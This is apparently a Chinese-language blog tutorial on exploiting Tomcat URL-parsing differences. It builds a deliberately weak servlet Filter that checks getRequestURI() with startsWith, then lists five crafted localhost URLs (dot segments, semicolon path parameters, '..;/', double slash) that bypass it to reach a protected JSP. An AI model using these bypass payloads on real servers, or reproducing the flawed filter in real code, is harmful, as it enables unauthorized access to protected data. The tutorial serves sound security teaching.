Tomcat_URL_解析差异性攻击利用

# Tomcat URL 解析差异性攻击利用

—————————–

看个访问限制绕过的场景。

假设Tomcat上启动的Web目录下存在一个info目录，其中有一个secret.jsp文件，其中包含敏感信息等：

<%@ page contentType="text/html;charset=UTF-8" language="java" %>





username: mi1k7ea
password: 123456
address: china
phone: 13666666666

新建一个filter包，其中新建一个testFilter类，实现Filter接口类：

package filter;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class testFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;

String url = httpServletRequest.getRequestURI();

if (url.startsWith(“/urltest/info”)) {
httpServletResponse.getWriter().write(“No Permission.”);
return;
}

filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

这个Filter作用是：只要访问/urltest/info目录下的资源，都需要进行权限判断，否则直接放行。可以看到，这里调用getRequestURI()函数来获取请求中的URL目录路径，然后调用startsWith()函数判断是否是访问的敏感目录，若是则返回无权限的响应。当然这里写得非常简单，只做演示用。

编辑web.xml，添加testFilter设置：

testFilter
filter.testFilter


testFilter
/*

运行之后，访问`http://localhost:8080/urltest/info/secret.jsp`，会显示无权限：


根据前面的分析构造如下几个payload都能成功绕过认证限制来访问：

http://localhost:8080/urltest/./info/secret.jsp
http://localhost:8080/urltest/;mi1k7ea/info/secret.jsp
http://localhost:8080/urltest/mi1k7ea/../info/secret.jsp
http://localhost:8080/urltest/mi1k7ea/..;/info/secret.jsp
http://localhost:8080//urltest/info/secret.jsp


整个的过程大致如此，就是利用解析的差异性来绕过认证